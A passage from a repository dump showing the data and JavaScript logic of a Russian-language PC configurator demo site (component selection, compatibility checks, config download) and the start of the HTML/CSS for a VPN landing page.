Mini-ITX\",\n                \"Макс. радиатор\": \"420 mm (верх + перед)\",\n                \"Звукоизоляция\": \"Панели с акустической набивкой\",\n                \"Макс. высота CPU-кулера\": \"185 mm\",\n                \"Отсеки 3.5\\\" / 2.5\\\"\": \"3 / 4\"\n            }\n        },\n        {\n            id: \"case-coolermaster-td500\",\n            name: \"Cooler Master MasterBox TD500 Mesh V2 (Mid Tower ATX)\",\n            price: 89,\n            supports: [\"ATX\", \"mATX\", \"ITX\"],\n            maxAioRadiator: 360,\n            specs: {\n                \"Тип\": \"Mid Tower\",\n                \"Форм-фактор MB\": \"ATX / mATX / Mini-ITX\",\n                \"Вентиляторы в комплекте\": \"3 × 120 mm ARGB\",\n                \"Макс. радиатор\": \"360 mm (перед)\",\n                \"Макс. высота CPU-кулера\": \"165 mm\",\n                \"USB на передней панели\": \"2× USB 3.0, 1× USB-C\"\n            }\n        }\n    ]\n};\n"
  },
  {
    "path": "legacy_tandem/viewer/works/example-pcbuilder/js/main.js",
    "content": "/**\n * CyberPredator — PC Configurator Logic\n * ──────────────────────────────────────\n * Архитектура: ванильный JS, никаких зависимостей.\n * Принцип: select → validate → update summary → check PSU.\n */\n\n'use strict';\n\n// ── Состояние сборки ─────────────────────────────────────────────────────────\nconst BUILD = {\n    cpu: null,\n    motherboard: null,\n    ram: null,\n    gpu: null,\n    storage: null,\n    cooling: null,\n    psu: null,\n    case: null\n};\n\nconst LABELS = {\n    cpu: \"Процессор\",\n    motherboard: \"Материнская плата\",\n    ram: \"Оперативная память\",\n    gpu: \"Видеокарта\",\n    storage: \"Накопитель\",\n    cooling: \"Охлаждение\",\n    psu: \"Блок питания\",\n    case: \"Корпус\"\n};\n\n// ── Инициализация ─────────────────────────────────────────────────────────────\ndocument.addEventListener('DOMContentLoaded', () => {\n    initHeroCanvas();\n    initBurgerMenu();\n    initScrollAnimations();\n    renderAllSections();\n    updateSummary();\n});\n\n// ── Hero Canvas — частицы ─────────────────────────────────────────────────────\nfunction initHeroCanvas() {\n    const canvas = document.getElementById('hero-canvas');\n    if (!canvas) return;\n    const ctx = canvas.getContext('2d');\n    let W, H, particles;\n    let animId;\n\n    function resize() {\n        W = canvas.width = canvas.offsetWidth;\n        H = canvas.height = canvas.offsetHeight;\n        buildParticles();\n    }\n\n    function buildParticles() {\n        const count = Math.min(Math.floor((W * H) / 10000), 90);\n        particles = Array.from({ length: count }, () => ({\n            x: Math.random() * W,\n            y: Math.random() * H,\n            r: Math.random() * 1.5 + 0.4,\n            vx: (Math.random() - 0.5) * 0.35,\n            vy: (Math.random() - 0.5) * 0.35,\n            a: Math.random() * 0.5 + 0.15\n        }));\n    }\n\n    function draw() {\n        ctx.clearRect(0, 0, W, H);\n        particles.forEach(p => {\n            p.x += p.vx;\n            p.y += p.vy;\n            if (p.x < 0) p.x = W;\n            if (p.x > W) p.x = 0;\n            if (p.y < 0) p.y = H;\n            if (p.y > H) p.y = 0;\n            ctx.beginPath();\n            ctx.arc(p.x, p.y, p.r, 0, Math.PI * 2);\n            ctx.fillStyle = `rgba(0,245,160,${p.a})`;\n            ctx.fill();\n        });\n\n        // линии между близкими частицами\n        for (let i = 0; i < particles.length; i++) {\n            for (let j = i + 1; j < particles.length; j++) {\n                const dx = particles[i].x - particles[j].x;\n                const dy = particles[i].y - particles[j].y;\n                const dist = Math.sqrt(dx * dx + dy * dy);\n                if (dist < 120) {\n                    ctx.beginPath();\n                    ctx.moveTo(particles[i].x, particles[i].y);\n                    ctx.lineTo(particles[j].x, particles[j].y);\n                    ctx.strokeStyle = `rgba(0,245,160,${0.12 * (1 - dist / 120)})`;\n                    ctx.lineWidth = 0.5;\n                    ctx.stroke();\n                }\n            }\n        }\n\n        animId = requestAnimationFrame(draw);\n    }\n\n    // Пауза когда вкладка скрыта — экономим ресурсы\n    document.addEventListener('visibilitychange', () => {\n        if (document.hidden) cancelAnimationFrame(animId);\n        else draw();\n    });\n\n    // Пользователь предпочитает меньше анимаций — отключаем canvas\n    if (window.matchMedia('(prefers-reduced-motion: reduce)').matches) {\n        canvas.style.display = 'none';\n        return;\n    }\n\n    const observer = new ResizeObserver(resize);\n    observer.observe(canvas.parentElement);\n    resize();\n    draw();\n}\n\n// ── Бургер-меню ───────────────────────────────────────────────────────────────\nfunction initBurgerMenu() {\n    const btn = document.getElementById('burger-btn');\n    const nav = document.getElementById('mobile-nav');\n    const overlay = document.getElementById('nav-overlay');\n    if (!btn || !nav) return;\n\n    function toggleMenu(open) {\n        btn.setAttribute('aria-expanded', String(open));\n        btn.classList.toggle('is-open', open);\n        nav.classList.toggle('is-visible', open);\n        nav.setAttribute('aria-hidden', String(!open));\n        document.body.style.overflow = open ? 'hidden' : '';\n    }\n\n    btn.addEventListener('click', () => {\n        const isOpen = btn.getAttribute('aria-expanded') === 'true';\n        toggleMenu(!isOpen);\n    });\n\n    overlay && overlay.addEventListener('click', () => toggleMenu(false));\n\n    // Escape закрывает меню\n    document.addEventListener('keydown', e => {\n        if (e.key === 'Escape') toggleMenu(false);\n    });\n\n    // Ссылки в меню закрывают его\n    nav.querySelectorAll('a').forEach(a => {\n        a.addEventListener('click', () => toggleMenu(false));\n    });\n}\n\n// ── Scroll-анимации (Intersection Observer) ───────────────────────────────────\nfunction initScrollAnimations() {\n    if (!window.IntersectionObserver) return; // fallback: всё уже видно\n\n    const io = new IntersectionObserver((entries) => {\n        entries.forEach(entry => {\n            if (entry.isIntersecting) {\n                entry.target.classList.add('is-visible');\n                io.unobserve(entry.target);\n            }\n        });\n    }, { threshold: 0.08 });\n\n    document.querySelectorAll('.anim-fade').forEach(el => io.observe(el));\n}\n\n// ── Render helpers ────────────────────────────────────────────────────────────\n\n/**\n * Рендерит секцию выбора компонента.\n * @param {string}   category   - ключ из BUILD / COMPONENTS\n * @param {Array}    items      - массив компонентов\n * @param {Function} [filter]   - опциональная функция-фильтр\n */\nfunction renderSection(category, items, filter) {\n    const container = document.getElementById(`section-${category}`);\n    if (!container) return;\n\n    const list = filter ? items.filter(filter) : items;\n    container.innerHTML = '';\n\n    if (list.length === 0) {\n        container.innerHTML = `\n      <div class=\"empty-state\">\n        <span class=\"empty-icon\">⚡</span>\n        <p>Сначала выберите процессор, чтобы увидеть совместимые материнские платы.</p>\n      </div>`;\n        return;\n    }\n\n    list.forEach(item => {\n        const card = document.createElement('div');\n        card.className = 'component-card';\n        card.setAttribute('role', 'radio');\n        card.setAttribute('aria-checked', BUILD[category]?.id === item.id ? 'true' : 'false');\n        card.setAttribute('tabindex', '0');\n        card.dataset.id = item.id;\n\n        if (BUILD[category]?.id === item.id) card.classList.add('is-selected');\n\n        const specsHtml = Object.entries(item.specs || {})\n            .map(([k, v]) => `<span class=\"spec-row\"><span class=\"spec-key\">${k}</span><span class=\"spec-val\">${v}</span></span>`)\n            .join('');\n\n        card.innerHTML = `\n      <div class=\"card-header\">\n        <span class=\"card-name\">${item.brand ? `<em>${item.brand}</em> ` : ''}${item.name}</span>\n        ${item.badge ? `<span class=\"card-badge\">${item.badge}</span>` : ''}\n        <span class=\"card-price\">$${item.price.toLocaleString('ru-RU')}</span>\n      </div>\n      <div class=\"card-specs\">${specsHtml}</div>\n      <button class=\"card-select-btn\" aria-label=\"Выбрать ${item.name}\">Выбрать</button>`;\n\n        // Клик и Enter\n        const selectHandler = () => selectComponent(category, item.id, items);\n        card.querySelector('.card-select-btn').addEventListener('click', selectHandler);\n        card.addEventListener('keydown', e => {\n            if (e.key === 'Enter' || e.key === ' ') { e.preventDefault(); selectHandler(); }\n        });\n\n        container.appendChild(card);\n    });\n}\n\n/**\n * Рендерит все секции разом.\n */\nfunction renderAllSections() {\n    renderSection('cpu', COMPONENTS.cpus);\n    renderSection('gpu', COMPONENTS.gpus);\n    renderSection('ram', COMPONENTS.ram);\n    renderSection('storage', COMPONENTS.storage);\n    renderSection('cooling', COMPONENTS.cooling);\n    renderSection('psu', COMPONENTS.psus);\n    renderSection('case', COMPONENTS.cases);\n    renderMotherboards();\n}\n\n/**\n * Материнские платы — умная фильтрация по выбранному CPU.\n */\nfunction renderMotherboards() {\n    const filter = BUILD.cpu\n        ? mb => mb.socket === BUILD.cpu.socket\n        : null;\n    renderSection('motherboard', COMPONENTS.motherboards, filter);\n}\n\n// ── Выбор компонента ─────────────────────────────────────────────────────────\nfunction selectComponent(category, id, sourceArray) {\n    const item = sourceArray.find(c => c.id === id);\n    if (!item) return;\n\n    BUILD[category] = item;\n\n    // CPU → перерендерить материнки (фильтр по сокету)\n    if (category === 'cpu') {\n        BUILD.motherboard = null; // Сброс несовместимой MB\n        renderMotherboards();\n    }\n\n    // Обновить aria-checked в секции\n    const section = document.getElementById(`section-${category}`);\n    if (section) {\n        section.querySelectorAll('.component-card').forEach(card => {\n            const selected = card.dataset.id === id;\n            card.classList.toggle('is-selected', selected);\n            card.setAttribute('aria-checked', selected ? 'true' : 'false');\n        });\n    }\n\n    updateSummary();\n    checkCompatibility();\n\n    // Прокрутить к следующей незаполненной секции\n    const order = ['cpu', 'motherboard', 'ram', 'gpu', 'storage', 'cooling', 'psu', 'case'];\n    const next = order.find(k => k !== category && !BUILD[k]);\n    if (next) {\n        const nextSection = document.querySelector(`.builder-step[data-step=\"${next}\"]`);\n        if (nextSection) {\n            setTimeout(() => nextSection.scrollIntoView({ behavior: 'smooth', block: 'start' }), 200);\n        }\n    }\n}\n\n// ── Сводка / Summary ─────────────────────────────────────────────────────────\nfunction updateSummary() {\n    const total = calcTotal();\n    const totalEl = document.getElementById('summary-total');\n    const listEl = document.getElementById('summary-list');\n    const dlBtn = document.getElementById('download-btn');\n\n    if (totalEl) {\n        totalEl.textContent = `$${total.toLocaleString('ru-RU')}`;\n    }\n\n    if (listEl) {\n        listEl.innerHTML = Object.keys(BUILD).map(k => {\n            const item = BUILD[k];\n            return `\n        <li class=\"summary-item ${item ? 'is-filled' : 'is-empty'}\">\n          <span class=\"summary-label\">${LABELS[k]}</span>\n          <span class=\"summary-value\">${item ? item.name : '—'}</span>\n          ${item ? `<span class=\"summary-price\">$${item.price.toLocaleString('ru-RU')}</span>` : ''}\n        </li>`;\n        }).join('');\n    }\n\n    // Кнопка скачать активна только если хотя бы CPU и GPU выбраны\n    if (dlBtn) {\n        const canDownload = BUILD.cpu && BUILD.gpu;\n        dlBtn.disabled = !canDownload;\n        dlBtn.setAttribute('aria-disabled', !canDownload);\n    }\n}\n\nfunction calcTotal() {\n    return Object.values(BUILD).reduce((sum, item) => sum + (item ? item.price : 0), 0);\n}\n\n// ── Проверка совместимости ────────────────────────────────────────────────────\nfunction checkCompatibility() {\n    const warnings = [];\n    const errors = [];\n\n    // 1. Сокет CPU ↔ MB\n    if (BUILD.cpu && BUILD.motherboard) {\n        if (BUILD.cpu.socket !== BUILD.motherboard.socket) {\n            errors.push(`Несовместимо: ${BUILD.cpu.name} (${BUILD.cpu.socket}) + ${BUILD.motherboard.name} (${BUILD.motherboard.socket})`);\n        }\n    }\n\n    // 2. Охлаждение ↔ TDP процессора\n    if (BUILD.cpu && BUILD.cooling) {\n        if (BUILD.cooling.maxTdp < BUILD.cpu.tdp) {\n            warnings.push(`⚠️ Кулер рассчитан на ${BUILD.cooling.maxTdp} W, но CPU потребляет ${BUILD.cpu.tdp} W. Рекомендуем более мощное охлаждение.`);\n        }\n    }\n\n    // 3. БП ↔ суммарное потребление\n    if (BUILD.psu && (BUILD.cpu || BUILD.gpu)) {\n        const cpuTdp = BUILD.cpu ? BUILD.cpu.tdp : 0;\n        const gpuTdp = BUILD.gpu ? BUILD.gpu.tdp : 0;\n        const required = cpuTdp + gpuTdp + 100; // +100W системный резерв\n        if (BUILD.psu.wattage < required) {\n            errors.push(`Недостаточно мощности БП: требуется ≥ ${required} W, у вас ${BUILD.psu.wattage} W.`);\n        } else if (BUILD.psu.wattage < required * 1.2) {\n            warnings.push(`⚠️ Рекомендуем запас ≥ 20% для стабильной работы. Текущий запас: ${BUILD.psu.wattage - required} W.`);\n        }\n    }\n\n    // 4. RTX 5090 + PSU предупреждение (легендарный 575W TDP)\n    if (BUILD.gpu?.id === 'rtx-5090' && BUILD.psu && BUILD.psu.wattage < 1200) {\n        warnings.push('⚡ RTX 5090 рекомендует БП ≥ 1200 W для стабильного пика.');\n    }\n\n    renderCompatibility(errors, warnings);\n}\n\nfunction renderCompatibility(errors, warnings) {\n    const box = document.getElementById('compat-box');\n    if (!box) return;\n\n    box.innerHTML = '';\n    box.className = 'compat-box';\n\n    if (errors.length === 0 && warnings.length === 0) {\n        const allFilled = Object.values(BUILD).every(v => v !== null);\n        if (allFilled) {\n            box.classList.add('compat-ok');\n            box.innerHTML = '<span>✅ Всё совместимо. Конфигурация готова к сборке!</span>';\n        }\n        return;\n    }\n\n    errors.forEach(msg => {\n        const el = document.createElement('p');\n        el.className = 'compat-error';\n        el.textContent = '🚫 ' + msg;\n        box.appendChild(el);\n    });\n\n    warnings.forEach(msg => {\n        const el = document.createElement('p');\n        el.className = 'compat-warn';\n        el.textContent = msg;\n        box.appendChild(el);\n    });\n}\n\n// ── Скачать конфиг .txt ───────────────────────────────────────────────────────\ndocument.addEventListener('DOMContentLoaded', () => {\n    const dlBtn = document.getElementById('download-btn');\n    if (!dlBtn) return;\n\n    dlBtn.addEventListener('click', () => {\n        if (dlBtn.disabled) return;\n        downloadConfig();\n    });\n});\n\nfunction downloadConfig() {\n    const date = new Date().toLocaleDateString('ru-RU');\n    const total = calcTotal();\n\n    const lines = [\n        '╔══════════════════════════════════════════════════════╗',\n        '║          CYBERPREDATOR — КОНФИГУРАЦИЯ ПК             ║',\n        '╚══════════════════════════════════════════════════════╝',\n        `Дата сборки: ${date}`,\n        '',\n        '── КОМПОНЕНТЫ ──────────────────────────────────────────',\n        ...Object.keys(BUILD).map(k => {\n            const item = BUILD[k];\n            const label = LABELS[k].padEnd(22, ' ');\n            return item\n                ? `${label}: ${item.name}  ($${item.price.toLocaleString('ru-RU')})`\n                : `${label}: — не выбрано`;\n        }),\n        '',\n        '── ИТОГ ─────────────────────────────────────────────────',\n        `Общая стоимость (USD):  $${total.toLocaleString('ru-RU')}`,\n        '',\n        '── ПОТРЕБЛЕНИЕ ──────────────────────────────────────────',\n        `CPU TDP:     ${BUILD.cpu ? BUILD.cpu.tdp + ' W' : '—'}`,\n        `GPU TDP:     ${BUILD.gpu ? BUILD.gpu.tdp + ' W' : '—'}`,\n        `PSU мощность:${BUILD.psu ? BUILD.psu.wattage + ' W' : '—'}`,\n        '',\n        '── ПЕРЕДАТЬ В СЕРВИС ────────────────────────────────────',\n        'CyberPredator',\n        'г. Тандем, ул. Лендинговая, д. 1',\n        'Тел.: +7 (XXX) XXX-XX-XX',\n        'Email: tandemsites@example.com',\n        '',\n        '── Примечание ───────────────────────────────────────────',\n        'Цены актуальны на Февраль 2026. Для уточнения обратитесь',\n        'в сервис. Файл сгенерирован автоматически.'\n    ];\n\n    const blob = new Blob([lines.join('\\n')], { type: 'text/plain;charset=utf-8' });\n    const url = URL.createObjectURL(blob);\n    const a = document.createElement('a');\n    a.href = url;\n    a.download = `CyberPredator_Build_${date.replace(/\\./g, '-')}.txt`;\n    document.body.appendChild(a);\n    a.click();\n    document.body.removeChild(a);\n    URL.revokeObjectURL(url);\n\n    // Фидбек пользователю\n    const dlBtn = document.getElementById('download-btn');\n    if (dlBtn) {\n        const orig = dlBtn.textContent;\n        dlBtn.textContent = '✓ Скачано!';\n        dlBtn.classList.add('is-downloaded');\n        setTimeout(() => {\n            dlBtn.textContent = orig;\n            dlBtn.classList.remove('is-downloaded');\n        }, 2500);\n    }\n}\n\n// ── Сброс сборки ──────────────────────────────────────────────────────────────\ndocument.addEventListener('DOMContentLoaded', () => {\n    const resetBtn = document.getElementById('reset-btn');\n    if (!resetBtn) return;\n\n    resetBtn.addEventListener('click', () => {\n        Object.keys(BUILD).forEach(k => BUILD[k] = null);\n        renderAllSections();\n        updateSummary();\n        checkCompatibility();\n        document.querySelector('.builder-container')?.scrollIntoView({ behavior: 'smooth' });\n    });\n});\n\n// ── Табы брендов (AMD/Intel для CPU, NVIDIA/AMD для GPU) ──────────────────────\ndocument.addEventListener('DOMContentLoaded', () => {\n    document.querySelectorAll('.brand-tabs').forEach(tabGroup => {\n        const category = tabGroup.dataset.category;\n        tabGroup.querySelectorAll('.brand-tab').forEach(tab => {\n            tab.addEventListener('click', () => {\n                tabGroup.querySelectorAll('.brand-tab').forEach(t => {\n                    t.classList.remove('is-active');\n                    t.setAttribute('aria-selected', 'false');\n                });\n                tab.classList.add('is-active');\n                tab.setAttribute('aria-selected', 'true');\n\n                const brand = tab.dataset.brand;\n                const section = document.getElementById(`section-${category}`);\n                if (!section) return;\n\n                section.querySelectorAll('.component-card').forEach(card => {\n                    const id = card.dataset.id;\n                    const source = category === 'cpu' ? COMPONENTS.cpus : COMPONENTS.gpus;\n                    const item = source.find(c => c.id === id);\n                    if (brand === 'all' || !item || item.brand === brand) {\n                        card.style.display = '';\n                    } else {\n                        card.style.display = 'none';\n                    }\n                });\n            });\n        });\n    });\n});\n\n// ── Глитч-анимация заголовка ──────────────────────────────────────────────────\ndocument.addEventListener('DOMContentLoaded', () => {\n    const glitch = document.querySelector('.glitch');\n    if (!glitch) return;\n\n    let glitchInterval;\n\n    function startGlitch() {\n        glitchInterval = setInterval(() => {\n            glitch.classList.add('glitch-active');\n            setTimeout(() => glitch.classList.remove('glitch-active'), 200);\n        }, 3500 + Math.random() * 2000);\n    }\n\n    if (!window.matchMedia('(prefers-reduced-motion: reduce)').matches) {\n        startGlitch();\n    }\n});\n\n// ── Live PSU рекомендация (авто-подсветка нужного БП) ─────────────────────────\nfunction highlightRecommendedPsu() {\n    const cpuTdp = BUILD.cpu ? BUILD.cpu.tdp : 0;\n    const gpuTdp = BUILD.gpu ? BUILD.gpu.tdp : 0;\n    const required = cpuTdp + gpuTdp + 100;\n\n    const section = document.getElementById('section-psu');\n    if (!section) return;\n\n    section.querySelectorAll('.component-card').forEach(card => {\n        const psu = COMPONENTS.psus.find(p => p.id === card.dataset.id);\n        card.classList.remove('is-recommended');\n        if (psu && psu.wattage >= required && psu.wattage < required * 1.5) {\n            card.classList.add('is-recommended');\n        }\n    });\n}\n\n// PSU-рекомендация: слушаем смену CPU и GPU\ndocument.addEventListener('DOMContentLoaded', () => {\n    // Слушаем изменение CPU или GPU — обновляем рекомендованный БП\n    ['cpu', 'gpu'].forEach(category => {\n        const section = document.getElementById(`section-${category}`);\n        if (section) {\n            section.addEventListener('click', () => {\n                setTimeout(highlightRecommendedPsu, 50);\n            });\n        }\n    });\n});\n"
  },
  {
    "path": "legacy_tandem/viewer/works/example-vpn/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"ru\">\n\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>ArcVPN — Невидим для провайдера</title>\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\">\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n    <link href=\"https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800;900&display=swap\" rel=\"stylesheet\">\n    <style>\n        /* ─── RESET ──────────────────────────────── */\n        *,\n        *::before,\n        *::after {\n            margin: 0;\n            padding: 0;\n            box-sizing: border-box\n        }\n\n        :root {\n            --bg: #04060a;\n            --bg1: #080c14;\n            --bg2: #0c1220;\n            --card: rgba(255, 255, 255, .028);\n            --card2: rgba(255, 255, 255, .048);\n            --line: rgba(255, 255, 255, .07);\n            --line2: rgba(255, 255, 255, .13);\n            --blue: #2563eb;\n            --blue2: #3b82f6;\n            --blue3: #60a5fa;\n            --cyan: #22d3ee;\n            --green: #34d399;\n            --red: #f87171;\n            --amber: #fbbf24;\n            --w90: rgba(255, 255, 255, .9);\n            --w60: rgba(255, 255, 255, .6);\n            --w35: rgba(255, 255, 255, .35);\n            --w18: rgba(255, 255, 255, .18);\n            --w08: rgba(255, 255, 255, .08);\n            --ease: cubic-bezier(.4, 0, .2, 1);\n            --out: cubic-bezier(0, 0, .2, 1);\n        }\n\n        html {\n            scroll-behavior: smooth;\n            overflow-x: hidden\n        }\n\n        body {\n            font-family: 'Inter', system-ui, sans-serif;\n            background: var(--bg);\n            color: var(--w90);\n            -webkit-font-smoothing: antialiased;\n            overflow-x: hidden;\n            line-height: 1\n        }\n\n        a {\n            text-decoration: none;\n            color: inherit\n        }\n\n        button {\n            font-family: inherit;\n            cursor: pointer\n        }\n\n        svg {\n            display: block;\n            flex-shrink: 0\n        }\n\n        ::-webkit-scrollbar {\n            width: 3px\n        }\n\n        ::-webkit-scrollbar-track {\n            background: var(--bg)\n        }\n\n        ::-webkit-scrollbar-thumb {\n            background: var(--line2);\n            border-radius: 2px\n        }\n\n        /* ─── SELECTION ─── */\n        ::selection {\n            background: rgba(37, 99, 235, .45);\n            color: #fff;\n        }\n\n        ::-moz-selection {\n            background: rgba(37, 99, 235, .45);\n            color: #fff;\n        }\n\n        /* ─── NOISE OVERLAY ──────────────────────── */\n        body::before {\n            content: '';\n            position: fixed;\n            inset: 0;\n            z-index: 1000;\n            pointer-events: none;\n            opacity: .028;\n            background-image: url(\"data:image/svg+xml,%3Csvg viewBox='0 0 256 256' xmlns='http://www.w3.org/2000/svg'%3E%3Cfilter id='n'%3E%3CfeTurbulence type='fractalNoise' baseFrequency='0.9' numOctaves='4' stitchTiles='stitch'/%3E%3C/filter%3E%3Crect width='100%25' height='100%25' filter='url(%23n)'/%3E%3C/svg%3E\");\n            background-size: 200px 200px;\n        }\n\n        /* ─── NAV ────────────────────────────────── */\n        nav {\n            position: fixed;\n            top: 0;\n            left: 0;\n            right: 0;\n            z-index: 900;\n            height: 60px;\n            padding: 0 44px;\n            display: flex;\n            align-items: center;\n            gap: 0;\n        }\n\n        nav::after {\n            content: '';\n            position: absolute;\n            bottom: 0;\n            left: 0;\n            right: 0;\n            height: 1px;\n            background: transparent;\n            transition: background .4s;\n        }\n\n        nav.scrolled::after {\n            background: var(--line)\n        }\n\n        nav.scrolled {\n            background: rgba(4, 6, 10, .82);\n            backdrop-filter: blur(16px) saturate(130%)\n        }\n\n        .nav-logo {\n            font-size: 1.05rem;\n            font-weight: 900;\n            letter-spacing: -.05em;\n            color: var(--w90);\n            margin-right: 44px;\n            flex-shrink: 0;\n        }\n\n        .nav-logo span {\n            color: var(--blue2)\n        }\n\n        .nav-links {\n            display: flex;\n            gap: 4px;\n            list-style: none;\n            flex: 1\n        }\n\n        .nav-links a {\n            padding: 6px 12px;\n            font-size: .82rem;\n            font-weight: 500;\n            color: var(--w35);\n            border-radius: 6px;\n            transition: color .15s, background .15s;\n        }\n\n        .nav-links a:hover {\n            color: var(--w90);\n            background: var(--w08)\n        }\n\n        .nav-r {\n            margin-left: auto;\n            display: flex;\n            align-items: center;\n            gap: 8px;\n            flex-shrink: 0\n        }\n\n        .btn-n-ghost {\n            padding: 7px 15px;\n            border-radius: 7px;\n            border: 1px solid var(--line);\n            font-size: .8rem;\n            font-weight: 600;\n            color: var(--w60);\n            transition: border-color .15s, color .15s;\n        }\n\n        .btn-n-ghost:hover {\n            border-color: var(--line2);\n            color: var(--w90)\n        }\n\n        .btn-n {\n            display: inline-flex;\n            align-items: center;\n            gap: 6px;\n            padding: 7px 16px;\n            border-radius: 7px;\n            background: var(--blue);\n            color: #fff;\n            font-size: .8rem;\n            font-weight: 700;\n            transition: background .15s, transform .15s, box-shadow .2s;\n            box-shadow: 0 0 0 0 rgba(37, 99, 235, 0);\n        }\n\n        .btn-n:hover {\n            background: var(--blue2);\n            transform: translateY(-1px);\n            box-shadow: 0 4px 16px rgba(37, 99, 235, .4)\n        }\n\n        .nav-burger {\n            display: none;\n            flex-direction: column;\n            gap: 4.5px;\n            background: none;\n            border: none;\n            padding: 4px;\n            margin-left: 12px\n        }\n\n        .nav-burger span {\n            width: 20px;\n            height: 1.5px;\n            background: var(--w60);\n            border-radius: 1px;\n            transition: .2s\n        }\n\n        .mob-menu {\n            display: none;\n            position: fixed;\n            top: 60px;\n            left: 0;\n            right: 0;\n            z-index: 850;\n            padding: 10px 16px 20px;\n            background: rgba(4, 6, 10, .96);\n            backdrop-filter: blur(20px);\n            border-bottom: 1px solid var(--line);\n        }\n\n        .mob-menu.open {\n            display: flex;\n            flex-direction: column;\n            gap: 0\n        }\n\n        .mob-menu a {\n            padding: 13px 8px;\n            font-size: .9rem;\n            font-weight: 600;\n            color: var(--w60);\n            border-bottom: 1px solid var(--line)\n        }\n\n        .mob-menu a:last-child {\n            border: 0;\n            padding-bottom: 0\n        }\n\n        /* ─── HERO ───────────────────────────────── */\n        .hero {\n            position: relative;\n            min-height: 100vh;\n            display: flex;\n            align-items: center;\n            padding: 120px 44px 100px;\n            overflow: hidden;\n        }\n\n        /* single clean glow */\n        .hero::before {\n            content: '';\n            position: absolute;\n            top: -20%;\n            left: 50%;\n            transform: translateX(-50%);\n            width: 900px;\n            height: 700px;\n            border-radius: 50%;\n            background: radial-gradient(ellipse 60% 55% at 50% 40%,\n                    rgba(37, 99, 235, .16) 0%,\n                    rgba(37, 99, 235, .06) 35%,\n                    transparent 65%);\n            pointer-events: none;\n            z-index: 0;\n        }\n\n        /* grid */\n        .hero-grid {\n            position: absolute;\n            inset: 0;\n            z-index: 0;\n            pointer-events: none;\n            background-image:\n                linear-gradient(var(--line) 1px, transparent 1px),\n                linear-gradient(90deg, var(--line) 1px, transparent 1px);\n            background-size: 64px 64px;\n            background-position: center center;\n            mask-image: radial-gradient(ellipse 90% 80% at 50% 30%, rgba(0, 0, 0, .85) 0%, transparent 70%);\n            opacity: .55;\n        }\n\n        .hero-inner {\n            position: relative;\n            z-index: 1;\n            max-width: 1200px;\n            margin: 0 auto;\n            width: 100%;\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            align-items: center;\n            gap: 80px;\n        }\n\n        /* ── left ── */\n        .h-tag {\n            display: inline-flex;\n            align-items: center;\n            gap: 8px;\n            padding: 4px 12px 4px 6px;\n            border-radius: 99px;\n            border: 1px solid rgba(37, 99, 235, .3);\n            background: rgba(37, 99, 235, .08);\n            font-size: .66rem;\n            font-weight: 700;\n            letter-spacing: .12em;\n            text-transform: uppercase;\n            color: var(--blue3);\n            margin-bottom: 28px;\n        }\n\n        .h-tag-dot {\n            width: 6px;\n            height: 6px;\n            border-radius: 50%;\n            background: var(--blue2);\n            animation: hpulse 2.2s ease-in-out infinite\n        }\n\n        @keyframes hpulse {\n\n            0%,\n            100% {\n                box-shadow: 0 0 0 0 rgba(59, 130, 246, .5)\n            }\n\n            50% {\n                box-shadow: 0 0 0 5px rgba(59, 130, 246, 0)\n            }\n        }\n\n        h1 {\n            font-size: clamp(3.2rem, 5.2vw, 5rem);\n            font-weight: 900;\n            line-height: 1.02;\n            letter-spacing: -.06em;\n            word-spacing: .12em;\n            color: #fff;\n            margin-bottom: 26px;\n        }\n\n        h1 em {\n            font-style: normal;\n            display: inline-block;\n            padding-bottom: .12em\n        }\n\n        h1 .c1 {\n            background: linear-gradient(125deg, var(--blue3) 0%, var(--cyan) 100%);\n            -webkit-background-clip: text;\n            -webkit-text-fill-color: transparent;\n        }\n\n        .hero-p {\n            font-size: 1.05rem;\n            line-height: 1.78;\n            color: var(--w35);\n            max-width: 450px;\n            margin-bottom: 38px;\n        }\n\n        .hero-p b {\n            color: var(--w60);\n            font-weight: 600\n        }\n\n        .h-btns {\n            display: flex;\n            gap: 10px;\n            flex-wrap: wrap;\n            margin-bottom: 44px\n        }\n\n        .btn-prim {\n            display: inline-flex;\n            align-items: center;\n            gap: 8px;\n            padding: 13px 26px;\n            border-radius: 9px;\n            background: var(--blue);\n            color: #fff;\n            font-size: .92rem;\n            font-weight: 700;\n            box-shadow: 0 4px 20px rgba(37, 99, 235, .35), inset 0 1px 0 rgba(255, 255, 255, .1);\n            transition: background .15s, transform .2s, box-shadow .2s;\n        }\n\n        .btn-prim:hover {\n            background: var(--blue2);\n            transform: translateY(-2px);\n            box-shadow: 0 8px 28px rgba(37, 99, 235, .5), inset 0 1px 0 rgba(255, 255, 255, .1)\n        }\n\n        .btn-sec {\n            display: inline-flex;\n            align-items: center;\n            gap: 7px;\n            padding: 13px 24px;\n            border-radius: 9px;\n            border: 1px solid var(--line2);\n            color: var(--w60);\n            font-size: .92rem;\n            font-weight: 600;\n            transition: border-color .15s, color .15s, transform .2s;\n        }\n\n        .btn-sec:hover {\n            border-color: rgba(255, 255, 255, .26);\n            color: #fff;\n            transform: translateY(-2px)\n        }\n\n        .h-stats {\n            display: flex;\n            gap: 36px;\n            padding-top: 28px;\n            border-top: 1px solid var(--line)\n        }\n\n        .hs-n {\n            font-size: 1.5rem;\n            font-weight: 900;\n            letter-spacing: -.05em;\n            color: #fff;\n            line-height: 1\n        }\n\n        .hs-l {\n            margin-top: 5px;\n            font-size: .7rem;\n            color: var(--w35);\n            font-weight: 500\n        }\n\n        /* ── right: terminal widget ── */\n        .hero-widget {\n            background: var(--bg1);\n            border: 1px solid var(--line);\n            border-radius: 18px;\n            overflow: hidden;\n            box-shadow: 0 32px 80px rgba(0, 0, 0, .6), 0 0 0 1px rgba(255, 255, 255, .03);\n        }\n\n        .hw-topbar {\n            display: flex;\n            align-items: center;\n            gap: 10px;\n            padding: 14px 18px;\n            border-bottom: 1px solid var(--line);\n            background: rgba(255, 255, 255, .015);\n        }\n\n        .hw-dots {\n            display: flex;\n            gap: 5px\n        }\n\n        .hw-d {\n            width: 10px;\n            height: 10px;\n            border-radius: 50%\n        }\n\n        .hw-d1 {\n            background: #ff5f57\n        }\n\n        .hw-d2 {\n            background: #febc2e\n        }\n\n        .hw-d3 {\n            background: #28c840\n        }\n\n        .hw-title 